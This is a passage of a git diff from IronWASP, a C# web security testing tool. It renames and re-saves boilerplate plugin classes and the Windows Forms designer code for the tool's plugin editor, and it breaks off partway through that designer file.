License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class Plugin - { - public string Name=""; - public string Description = ""; - public string Version = "0.0"; - internal string FileName = ""; - - public bool IsSignatureUnique(string Host, FindingType Type, string Signature) - { - return Finding.IsSignatureUnique(this.Name, Host, Type, Signature); - } - - public List GetSignatureList(string Host, FindingType Type) - { - return Finding.GetSignatureList(this.Name, Host, Type); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class Plugin + { + public string Name=""; + public string Description = ""; + public string Version = "0.0"; + internal string FileName = ""; + + public bool IsSignatureUnique(string Host, FindingType Type, string Signature) + { + return Finding.IsSignatureUnique(this.Name, Host, Type, Signature); + } + + public List GetSignatureList(string Host, FindingType Type) + { + return Finding.GetSignatureList(this.Name, Host, Type); + } + } +} diff --git a/IronWASP/PluginCallingState.cs b/Iron/PluginCallingState.cs similarity index 96% rename from IronWASP/PluginCallingState.cs rename to Iron/PluginCallingState.cs index 7b4b8fe..2d5fdc7 100644 --- a/IronWASP/PluginCallingState.cs +++ b/Iron/PluginCallingState.cs @@ -1,30 +1,30 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public enum PluginCallingState - { - Inline, - Offline - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public enum PluginCallingState + { + Inline, + Offline + } +} diff --git a/IronWASP/PluginCore.cs b/Iron/PluginCore.cs similarity index 96% rename from IronWASP/PluginCore.cs rename to Iron/PluginCore.cs index 3cbf1f9..7372e70 100644 --- a/IronWASP/PluginCore.cs +++ b/Iron/PluginCore.cs @@ -1,29 +1,29 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class PluginCore - { - - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class PluginCore + { + + } +} diff --git a/IronWASP/PluginEditor.Designer.cs b/Iron/PluginEditor.Designer.cs similarity index 98% rename from IronWASP/PluginEditor.Designer.cs rename to Iron/PluginEditor.Designer.cs index 721495e..ffaf464 100644 --- a/IronWASP/PluginEditor.Designer.cs +++ b/Iron/PluginEditor.Designer.cs @@ -1,707 +1,707 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class PluginEditor - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(PluginEditor)); - this.PluginEditorBaseSplit = new System.Windows.Forms.SplitContainer(); - this.PluginEditorRightSplit = new System.Windows.Forms.SplitContainer(); - this.PluginEditorTE = new ICSharpCode.TextEditor.TextEditorControl(); - this.SearchMoveNextBtn = new System.Windows.Forms.Button(); - this.SearchMovePreviousBtn = new System.Windows.Forms.Button(); - this.MatchCountLbl = new System.Windows.Forms.Label(); - this.label1 = new System.Windows.Forms.Label(); - this.PluginEditorSearchTB = new System.Windows.Forms.TextBox(); - this.PluginEditorErrorTB = new System.Windows.Forms.TextBox(); - this.PluginEditorMenu = new System.Windows.Forms.MenuStrip(); - this.NewFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewActivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewPyActivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewRbActivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewPassivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewPyPassivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewRbPassivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewSessionPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewPySessionPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewRbSessionPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewFormatPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewPyFormatPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewRbFormatPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewScriptFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewPyScriptFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.NewRbScriptFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.OpenFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.ActivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.passivePluginToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); - this.formatPluginToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); - this.sessionPluginToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); - this.otherToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.SaveWorkToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.SaveAsStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.LanguageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.IronPythonToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.IronRubyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.CheckSyntaxF5ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.FixPythonIndentationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.PluginEditorAPISplit = new System.Windows.Forms.SplitContainer(); - this.PluginEditorAPITreeTabs = new System.Windows.Forms.TabControl(); - this.PluginEditorPythonAPITreeTab = new System.Windows.Forms.TabPage(); - this.PluginEditorPythonAPITree = new System.Windows.Forms.TreeView(); - this.PluginEditorRubyAPITreeTab = new System.Windows.Forms.TabPage(); - this.PluginEditorRubyAPITree = new System.Windows.Forms.TreeView(); - this.PluginEditorAPIDetailsRTB = new System.Windows.Forms.RichTextBox(); - this.PluginEditorAPIDocTabs = new System.Windows.Forms.TabControl(); - this.tabPage3 = new System.Windows.Forms.TabPage(); - this.tabPage4 = new System.Windows.Forms.TabPage(); - this.PluginEditorOpenFileDialog = new System.Windows.Forms.OpenFileDialog(); - this.PluginEditorSaveFileDialog = new System.Windows.Forms.SaveFileDialog(); - this.PluginEditorBaseSplit.Panel1.SuspendLayout(); - this.PluginEditorBaseSplit.Panel2.SuspendLayout(); - this.PluginEditorBaseSplit.SuspendLayout(); - this.PluginEditorRightSplit.Panel1.SuspendLayout(); - this.PluginEditorRightSplit.Panel2.SuspendLayout(); - this.PluginEditorRightSplit.SuspendLayout(); - this.PluginEditorMenu.SuspendLayout(); - this.PluginEditorAPISplit.Panel1.SuspendLayout(); - this.PluginEditorAPISplit.Panel2.SuspendLayout(); - this.PluginEditorAPISplit.SuspendLayout(); - this.PluginEditorAPITreeTabs.SuspendLayout(); - this.PluginEditorPythonAPITreeTab.SuspendLayout(); - this.PluginEditorRubyAPITreeTab.SuspendLayout(); - this.PluginEditorAPIDocTabs.SuspendLayout(); - this.SuspendLayout(); - // - // PluginEditorBaseSplit - // - this.PluginEditorBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorBaseSplit.Location = new System.Drawing.Point(0, 0); - this.PluginEditorBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorBaseSplit.Name = "PluginEditorBaseSplit"; - // - // PluginEditorBaseSplit.Panel1 - // - this.PluginEditorBaseSplit.Panel1.Controls.Add(this.PluginEditorRightSplit); - this.PluginEditorBaseSplit.Panel1.Controls.Add(this.PluginEditorMenu); - // - // PluginEditorBaseSplit.Panel2 - // - this.PluginEditorBaseSplit.Panel2.Controls.Add(this.PluginEditorAPISplit); - this.PluginEditorBaseSplit.Size = new System.Drawing.Size(884, 562); - this.PluginEditorBaseSplit.SplitterDistance = 674; - this.PluginEditorBaseSplit.SplitterWidth = 2; - this.PluginEditorBaseSplit.TabIndex = 0; - // - // PluginEditorRightSplit - // - this.PluginEditorRightSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorRightSplit.Location = new System.Drawing.Point(0, 24); - this.PluginEditorRightSplit.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorRightSplit.Name = "PluginEditorRightSplit"; - this.PluginEditorRightSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // PluginEditorRightSplit.Panel1 - // - this.PluginEditorRightSplit.Panel1.Controls.Add(this.PluginEditorTE); - // - // PluginEditorRightSplit.Panel2 - // - this.PluginEditorRightSplit.Panel2.Controls.Add(this.SearchMoveNextBtn); - this.PluginEditorRightSplit.Panel2.Controls.Add(this.SearchMovePreviousBtn); - this.PluginEditorRightSplit.Panel2.Controls.Add(this.MatchCountLbl); - this.PluginEditorRightSplit.Panel2.Controls.Add(this.label1); - this.PluginEditorRightSplit.Panel2.Controls.Add(this.PluginEditorSearchTB); - this.PluginEditorRightSplit.Panel2.Controls.Add(this.PluginEditorErrorTB); - this.PluginEditorRightSplit.Size = new System.Drawing.Size(674, 538); - this.PluginEditorRightSplit.SplitterDistance = 421; - this.PluginEditorRightSplit.SplitterWidth = 2; - this.PluginEditorRightSplit.TabIndex = 5; - // - // PluginEditorTE - // - this.PluginEditorTE.ConvertTabsToSpaces = true; - this.PluginEditorTE.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorTE.IsIconBarVisible = false; - this.PluginEditorTE.Location = new System.Drawing.Point(0, 0); - this.PluginEditorTE.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorTE.Name = "PluginEditorTE"; - this.PluginEditorTE.ShowEOLMarkers = true; - this.PluginEditorTE.ShowSpaces = true; - this.PluginEditorTE.ShowTabs = true; - this.PluginEditorTE.ShowVRuler = true; - this.PluginEditorTE.Size = new System.Drawing.Size(674, 421); - this.PluginEditorTE.TabIndent = 2; - this.PluginEditorTE.TabIndex = 3; - // - // SearchMoveNextBtn - // - this.SearchMoveNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.SearchMoveNextBtn.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.SearchMoveNextBtn.Location = new System.Drawing.Point(589, 3); - this.SearchMoveNextBtn.Name = "SearchMoveNextBtn"; - this.SearchMoveNextBtn.Size = new System.Drawing.Size(27, 23); - this.SearchMoveNextBtn.TabIndex = 9; - this.SearchMoveNextBtn.Text = ">"; - this.SearchMoveNextBtn.UseVisualStyleBackColor = true; - this.SearchMoveNextBtn.Click += new System.EventHandler(this.SearchMoveNextBtn_Click); - // - // SearchMovePreviousBtn - // - this.SearchMovePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.SearchMovePreviousBtn.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.SearchMovePreviousBtn.Location = new System.Drawing.Point(558, 3); - this.SearchMovePreviousBtn.Name = "SearchMovePreviousBtn"; - this.SearchMovePreviousBtn.Size = new System.Drawing.Size(27, 23); - this.SearchMovePreviousBtn.TabIndex = 8; - this.SearchMovePreviousBtn.Text = "<"; - this.SearchMovePreviousBtn.UseVisualStyleBackColor = true; - this.SearchMovePreviousBtn.Click += new System.EventHandler(this.SearchMovePreviousBtn_Click); - // - // MatchCountLbl - // - this.MatchCountLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.MatchCountLbl.AutoSize = true; - this.MatchCountLbl.Location = new System.Drawing.Point(629, 9); - this.MatchCountLbl.Margin = new System.Windows.Forms.Padding(0); - this.MatchCountLbl.Name = "MatchCountLbl"; - this.MatchCountLbl.Size = new System.Drawing.Size(0, 13); - this.MatchCountLbl.TabIndex = 7; - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(4, 8); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(59, 13); - this.label1.TabIndex = 6; - this.label1.Text = "Search for:"; - // - // PluginEditorSearchTB - // - this.PluginEditorSearchTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.PluginEditorSearchTB.Location = new System.Drawing.Point(66, 5); - this.PluginEditorSearchTB.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorSearchTB.Name = "PluginEditorSearchTB"; - this.PluginEditorSearchTB.Size = new System.Drawing.Size(488, 20); - this.PluginEditorSearchTB.TabIndex = 5; - this.PluginEditorSearchTB.KeyUp += new System.Windows.Forms.KeyEventHandler(this.PluginEditorSearchTB_KeyUp); - // - // PluginEditorErrorTB - // - this.PluginEditorErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.PluginEditorErrorTB.BackColor = System.Drawing.Color.White; - this.PluginEditorErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.PluginEditorErrorTB.Location = new System.Drawing.Point(0, 28); - this.PluginEditorErrorTB.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorErrorTB.Multiline = true; - this.PluginEditorErrorTB.Name = "PluginEditorErrorTB"; - this.PluginEditorErrorTB.ReadOnly = true; - this.PluginEditorErrorTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.PluginEditorErrorTB.Size = new System.Drawing.Size(674, 87); - this.PluginEditorErrorTB.TabIndex = 4; - // - // PluginEditorMenu - // - this.PluginEditorMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.NewFileToolStripMenuItem, - this.OpenFileToolStripMenuItem, - this.SaveWorkToolStripMenuItem, - this.SaveAsStripMenuItem, - this.LanguageToolStripMenuItem, - this.CheckSyntaxF5ToolStripMenuItem, - this.FixPythonIndentationToolStripMenuItem}); - this.PluginEditorMenu.Location = new System.Drawing.Point(0, 0); - this.PluginEditorMenu.Name = "PluginEditorMenu"; - this.PluginEditorMenu.Size = new System.Drawing.Size(674, 24); - this.PluginEditorMenu.TabIndex = 2; - this.PluginEditorMenu.Text = "menuStrip1"; - // - // NewFileToolStripMenuItem - // - this.NewFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.NewActivePluginToolStripMenuItem, - this.NewPassivePluginToolStripMenuItem, - this.NewSessionPluginToolStripMenuItem, - this.NewFormatPluginToolStripMenuItem, - this.NewScriptFileToolStripMenuItem}); - this.NewFileToolStripMenuItem.Name = "NewFileToolStripMenuItem"; - this.NewFileToolStripMenuItem.Size = new System.Drawing.Size(43, 20); - this.NewFileToolStripMenuItem.Text = "New"; - // - // NewActivePluginToolStripMenuItem - // - this.NewActivePluginToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.NewPyActivePluginToolStripMenuItem, - this.NewRbActivePluginToolStripMenuItem}); - this.NewActivePluginToolStripMenuItem.Name = "NewActivePluginToolStripMenuItem"; - this.NewActivePluginToolStripMenuItem.Size = new System.Drawing.Size(150, 22); - this.NewActivePluginToolStripMenuItem.Text = "Active Plugin"; - // - // NewPyActivePluginToolStripMenuItem - // - this.NewPyActivePluginToolStripMenuItem.Name = "NewPyActivePluginToolStripMenuItem"; - this.NewPyActivePluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); - this.NewPyActivePluginToolStripMenuItem.Text = "Python"; - this.NewPyActivePluginToolStripMenuItem.Click += new System.EventHandler(this.NewPyActivePluginToolStripMenuItem_Click); - // - // NewRbActivePluginToolStripMenuItem - // - this.NewRbActivePluginToolStripMenuItem.Name = "NewRbActivePluginToolStripMenuItem"; - this.NewRbActivePluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); - this.NewRbActivePluginToolStripMenuItem.Text = "Ruby"; - this.NewRbActivePluginToolStripMenuItem.Click += new System.EventHandler(this.NewRbActivePluginToolStripMenuItem_Click); - // - // NewPassivePluginToolStripMenuItem - // - this.NewPassivePluginToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.NewPyPassivePluginToolStripMenuItem, - this.NewRbPassivePluginToolStripMenuItem}); - this.NewPassivePluginToolStripMenuItem.Name = "NewPassivePluginToolStripMenuItem"; - this.NewPassivePluginToolStripMenuItem.Size = new System.Drawing.Size(150, 22); - this.NewPassivePluginToolStripMenuItem.Text = "Passive Plugin"; - // - // NewPyPassivePluginToolStripMenuItem - // - this.NewPyPassivePluginToolStripMenuItem.Name = "NewPyPassivePluginToolStripMenuItem"; - this.NewPyPassivePluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); - this.NewPyPassivePluginToolStripMenuItem.Text = "Python"; - this.NewPyPassivePluginToolStripMenuItem.Click += new System.EventHandler(this.NewPyPassivePluginToolStripMenuItem_Click); - // - // NewRbPassivePluginToolStripMenuItem - // - this.NewRbPassivePluginToolStripMenuItem.Name = "NewRbPassivePluginToolStripMenuItem"; - this.NewRbPassivePluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); - this.NewRbPassivePluginToolStripMenuItem.Text = "Ruby"; - this.NewRbPassivePluginToolStripMenuItem.Click += new System.EventHandler(this.NewRbPassivePluginToolStripMenuItem_Click); - // - // NewSessionPluginToolStripMenuItem - // - this.NewSessionPluginToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.NewPySessionPluginToolStripMenuItem, - this.NewRbSessionPluginToolStripMenuItem}); - this.NewSessionPluginToolStripMenuItem.Name = "NewSessionPluginToolStripMenuItem"; - this.NewSessionPluginToolStripMenuItem.Size = new System.Drawing.Size(150, 22); - this.NewSessionPluginToolStripMenuItem.Text = "Session Plugin"; - // - // NewPySessionPluginToolStripMenuItem - // - this.NewPySessionPluginToolStripMenuItem.Name = "NewPySessionPluginToolStripMenuItem"; - this.NewPySessionPluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); - this.NewPySessionPluginToolStripMenuItem.Text = "Python"; - this.NewPySessionPluginToolStripMenuItem.Click += new System.EventHandler(this.NewPySessionPluginToolStripMenuItem_Click); - // - // NewRbSessionPluginToolStripMenuItem - // - this.NewRbSessionPluginToolStripMenuItem.Name = "NewRbSessionPluginToolStripMenuItem"; - this.NewRbSessionPluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); - this.NewRbSessionPluginToolStripMenuItem.Text = "Ruby"; - this.NewRbSessionPluginToolStripMenuItem.Click += new System.EventHandler(this.NewRbSessionPluginToolStripMenuItem_Click); - // - // NewFormatPluginToolStripMenuItem - // - this.NewFormatPluginToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.NewPyFormatPluginToolStripMenuItem, - this.NewRbFormatPluginToolStripMenuItem}); - this.NewFormatPluginToolStripMenuItem.Name = "NewFormatPluginToolStripMenuItem"; - this.NewFormatPluginToolStripMenuItem.Size = new System.Drawing.Size(150, 22); - this.NewFormatPluginToolStripMenuItem.Text = "Format Plugin"; - // - // NewPyFormatPluginToolStripMenuItem - // - this.NewPyFormatPluginToolStripMenuItem.Name = "NewPyFormatPluginToolStripMenuItem"; - this.NewPyFormatPluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); - this.NewPyFormatPluginToolStripMenuItem.Text = "Python"; - this.NewPyFormatPluginToolStripMenuItem.Click += new System.EventHandler(this.NewPyFormatPluginToolStripMenuItem_Click); - // - // NewRbFormatPluginToolStripMenuItem - // - this.NewRbFormatPluginToolStripMenuItem.Name = "NewRbFormatPluginToolStripMenuItem"; - this.NewRbFormatPluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); - this.NewRbFormatPluginToolStripMenuItem.Text = "Ruby"; - this.NewRbFormatPluginToolStripMenuItem.Click += new System.EventHandler(this.NewRbFormatPluginToolStripMenuItem_Click); - // - // NewScriptFileToolStripMenuItem - // - this.NewScriptFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.NewPyScriptFileToolStripMenuItem, - this.NewRbScriptFileToolStripMenuItem}); - this.NewScriptFileToolStripMenuItem.Name = "NewScriptFileToolStripMenuItem"; - this.NewScriptFileToolStripMenuItem.Size = new System.Drawing.Size(150, 22); - this.NewScriptFileToolStripMenuItem.Text = "Script"; - // - // NewPyScriptFileToolStripMenuItem - // - this.NewPyScriptFileToolStripMenuItem.Name = "NewPyScriptFileToolStripMenuItem"; - this.NewPyScriptFileToolStripMenuItem.Size = new System.Drawing.Size(112, 22); - this.NewPyScriptFileToolStripMenuItem.Text = "Python"; - this.NewPyScriptFileToolStripMenuItem.Click += new System.EventHandler(this.NewPyScriptFileToolStripMenuItem_Click); - // - // NewRbScriptFileToolStripMenuItem - // - this.NewRbScriptFileToolStripMenuItem.Name = "NewRbScriptFileToolStripMenuItem"; - this.NewRbScriptFileToolStripMenuItem.Size = new System.Drawing.Size(112, 22); - this.NewRbScriptFileToolStripMenuItem.Text = "Ruby"; - this.NewRbScriptFileToolStripMenuItem.Click += new System.EventHandler(this.NewRbScriptFileToolStripMenuItem_Click); - // - // OpenFileToolStripMenuItem - // - this.OpenFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.ActivePluginToolStripMenuItem, - this.passivePluginToolStripMenuItem1, - this.formatPluginToolStripMenuItem1, - this.sessionPluginToolStripMenuItem1, - this.otherToolStripMenuItem}); - this.OpenFileToolStripMenuItem.Name = "OpenFileToolStripMenuItem"; - this.OpenFileToolStripMenuItem.Size = new System.Drawing.Size(69, 20); - this.OpenFileToolStripMenuItem.Text = "Open File"; - // - // ActivePluginToolStripMenuItem - // - this.ActivePluginToolStripMenuItem.Name = "ActivePluginToolStripMenuItem"; - this.ActivePluginToolStripMenuItem.Size = new System.Drawing.Size(150, 22); - this.ActivePluginToolStripMenuItem.Text = "Active Plugin"; - this.ActivePluginToolStripMenuItem.Click += new System.EventHandler(this.ActivePluginToolStripMenuItem_Click); - // - // passivePluginToolStripMenuItem1 - // - this.passivePluginToolStripMenuItem1.Name = "passivePluginToolStripMenuItem1"; - this.passivePluginToolStripMenuItem1.Size = new System.Drawing.Size(150, 22); - this.passivePluginToolStripMenuItem1.Text = "Passive Plugin"; - this.passivePluginToolStripMenuItem1.Click += new System.EventHandler(this.passivePluginToolStripMenuItem1_Click); - // - // formatPluginToolStripMenuItem1 - // - this.formatPluginToolStripMenuItem1.Name = "formatPluginToolStripMenuItem1"; - this.formatPluginToolStripMenuItem1.Size = new System.Drawing.Size(150, 22); - this.formatPluginToolStripMenuItem1.Text = "Format Plugin"; - this.formatPluginToolStripMenuItem1.Click += new System.EventHandler(this.formatPluginToolStripMenuItem1_Click); - // - // sessionPluginToolStripMenuItem1 - // - this.sessionPluginToolStripMenuItem1.Name = "sessionPluginToolStripMenuItem1"; - this.sessionPluginToolStripMenuItem1.Size = new System.Drawing.Size(150, 22); - this.sessionPluginToolStripMenuItem1.Text = "Session Plugin"; - this.sessionPluginToolStripMenuItem1.Click += new System.EventHandler(this.sessionPluginToolStripMenuItem1_Click); - // - // otherToolStripMenuItem - // - this.otherToolStripMenuItem.Name = "otherToolStripMenuItem"; - this.otherToolStripMenuItem.Size = new System.Drawing.Size(150, 22); - this.otherToolStripMenuItem.Text = "Other"; - this.otherToolStripMenuItem.Click += new System.EventHandler(this.otherToolStripMenuItem_Click); - // - // SaveWorkToolStripMenuItem - // - this.SaveWorkToolStripMenuItem.Name = "SaveWorkToolStripMenuItem"; - this.SaveWorkToolStripMenuItem.Size = new System.Drawing.Size(43, 20); - this.SaveWorkToolStripMenuItem.Text = "Save"; - this.SaveWorkToolStripMenuItem.Click += new System.EventHandler(this.SaveWorkToolStripMenuItem_Click); - // - // SaveAsStripMenuItem - // - this.SaveAsStripMenuItem.Name = "SaveAsStripMenuItem"; - this.SaveAsStripMenuItem.Size = new System.Drawing.Size(59, 20); - this.SaveAsStripMenuItem.Text = "Save As"; - this.SaveAsStripMenuItem.Click += new System.EventHandler(this.SaveAsStripMenuItem_Click); - // - // LanguageToolStripMenuItem - // - this.LanguageToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.IronPythonToolStripMenuItem, - this.IronRubyToolStripMenuItem}); - this.LanguageToolStripMenuItem.Name = "LanguageToolStripMenuItem"; - this.LanguageToolStripMenuItem.Size = new System.Drawing.Size(90, 20); - this.LanguageToolStripMenuItem.Text = "Set Language"; - // - // IronPythonToolStripMenuItem - // - this.IronPythonToolStripMenuItem.Name = "IronPythonToolStripMenuItem"; - this.IronPythonToolStripMenuItem.Size = new System.Drawing.Size(133, 22); - this.IronPythonToolStripMenuItem.Text = "IronPython"; - this.IronPythonToolStripMenuItem.Click += new System.EventHandler(this.IronPythonToolStripMenuItem_Click); - // - // IronRubyToolStripMenuItem - // - this.IronRubyToolStripMenuItem.Name = "IronRubyToolStripMenuItem"; - this.IronRubyToolStripMenuItem.Size = new System.Drawing.Size(133, 22); - this.IronRubyToolStripMenuItem.Text = "IronRuby"; - this.IronRubyToolStripMenuItem.Click += new System.EventHandler(this.IronRubyToolStripMenuItem_Click); - // - // CheckSyntaxF5ToolStripMenuItem - // - this.CheckSyntaxF5ToolStripMenuItem.Name = "CheckSyntaxF5ToolStripMenuItem"; - this.CheckSyntaxF5ToolStripMenuItem.Size = new System.Drawing.Size(112, 20); - this.CheckSyntaxF5ToolStripMenuItem.Text = "Check Syntax - F5"; - this.CheckSyntaxF5ToolStripMenuItem.Click += new System.EventHandler(this.CheckSyntaxF5ToolStripMenuItem_Click); - // - // FixPythonIndentationToolStripMenuItem - // - this.FixPythonIndentationToolStripMenuItem.Name = "FixPythonIndentationToolStripMenuItem"; - this.FixPythonIndentationToolStripMenuItem.Size = new System.Drawing.Size(141, 20); - this.FixPythonIndentationToolStripMenuItem.Text = "Fix Python Indentation "; - this.FixPythonIndentationToolStripMenuItem.Visible = false; - 